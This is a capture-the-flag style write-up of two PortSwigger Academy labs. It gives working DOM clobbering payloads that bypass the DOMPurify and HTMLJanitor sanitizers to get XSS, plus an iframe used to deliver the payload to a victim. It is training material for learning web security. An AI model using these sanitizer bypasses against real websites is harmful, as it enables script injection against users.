Labs Covered
This write-up focuses on the following EXPERT-level labs from the PortSwigger Web Security Academy related to DOM-based vulnerabilities:
6 Exploiting DOM clobbering to enable XSS
This lab demonstrates how attackers can exploit DOM clobbering to manipulate the document structure and enable XSS attacks.
7 Clobbering DOM attributes to bypass HTML filters
This lab shows how attackers can clobber DOM object attributes to bypass server-side or client-side HTML sanitization filters.
LAB 6 - Exploiting DOM clobbering to enable XSS
Lab Description
Solution
The application’s comment function allows HTML input. Test with tags<h1>
DOM Clobbering-Based XSS Exploit Walkthrough
Step 1: HTML Input Allowed in Comments
The application’s comment feature allows HTML tags like <h1>.
Test Input:
<h1>Test Heading</h1>
Output Screenshot:
The <h1> tag is successfully rendered, confirming that HTML is processed.
Step 2: Inspect JavaScript Source
Reviewing the page’s source reveals a script named loadCommentsWithDomClobbering.js that handles comment rendering.
Screenshot:
Relevant JS snippet:
The core logic:
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'};
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
Step 3: DOM Clobbering
We can clobber window.defaultAvatar by inserting two <a> tags:
- One with
id=defaultAvatar - One with
name=avatar
This causes window.defaultAvatar.avatar to reference the href attribute of the second <a> tag.
Clobbering Payload:
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href='\"onerror=alert(1)//'>
Problem: The href attribute is removed due to DOMPurify sanitization.
Step 4: Bypass DOMPurify Filtering
The app uses DOMPurify as shown:
commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
To bypass this, we exploit a trick in DOMPurify:
- Using protocols like
cid:,xmpp:inhrefattributes bypasses encoding "gets decoded at runtime to"and stays unescaped
Working Payload:
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href=xmpp:"onerror=alert(1)//>
Step 5: Exploitation Process
- Post Comment 1: Inject the clobber payload
- Post Comment 2: Load any other comment → avatar rendering triggers XSS
Clobber Comment Example:
Triggered XSS Result:
The XSS was successfully triggered via DOM Clobbering and sanitization bypass.
LAB 7 - Clobbering DOM attributes to bypass HTML filters
Lab Description
Solution
DOM Clobbering Bypass via HTMLJanitor Configuration
Step 1: Discovering the Sanitizer – HTMLJanitor
Reading the HTML source of the post page reveals that the application loads two key scripts:
loadCommentsWithDomClobbering.js- The
HTMLJanitorlibrary for sanitizing user input.
Screenshot:
Step 2: Whitelisted Tags and Attributes
In the script loadCommentsWithDomClobbering.js, we find a strict whitelist for allowed HTML tags and attributes:
let janitor = new HTMLJanitor({
tags: {
input: {
name: true,
type: true,
value: true
},
form: {
id: true
},
i: {},
b: {},
p: {}
}
});
Only the following are allowed:
| Tag | Allowed Attributes |
|---|---|
input |
name, type, value |
form |
id |
i, b, p |
None |
Then, when rendering comments:
commentBodyPElement.innerHTML = janitor.clean(comment.body);
Step 3: Testing the Whitelist
Testing with a valid comment:
<form id=test><input name=button type=button value=Click>
It renders successfully because it complies with the whitelist.
Screenshot:
Step 4: Inspecting the clean() and _sanitize() Logic
The clean() method internally calls _sanitize() to remove disallowed attributes:
Screenshot:
Core logic from _sanitize():
// Sanitize attributes
for (var a = 0; a < node.attributes.length; a += 1) {
var attr = node.attributes[a];
if (shouldRejectAttr(attr, allowedAttrs, node)) {
node.removeAttribute(attr.name);
a = a - 1; // Adjust loop after removal
}
}
// Sanitize children
this._sanitize(document, node);
Step 5: Exploiting DOM Clobbering on attributes
If we clobber the attributes property on a node (i.e., set id="attributes" on a child input), node.attributes.length becomes undefined. This breaks the sanitizer loop and skips attribute validation.
Payload:
<form id=exp tabindex=1 onfocus=print()><input id=attributes>
Explanation:
form#exphasonfocus=print()input#attributesclobbers theform.attributesproperty- Sanitizer cannot loop over attributes →
onfocusbypasses filtering
Result Screenshot:
Step 6: Triggering the Payload
Comment with the payload:
Then, focus on the form via its id:
#exp→ triggersonfocus=print()- The print dialog appears, confirming code execution.
Execution Proof:
Step 7: Using an iframe to Auto-Focus (for Victim Delivery)
We send the victim a crafted iframe that triggers the focus event after a delay:
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/post?postId=7"
onload="setTimeout(()=>this.src=this.src+'#x',500)">
</iframe>
Screenshot:
Final Result
Once the victim loads the malicious iframe, the payload is triggered and the challenge is solved.
Final Screenshot: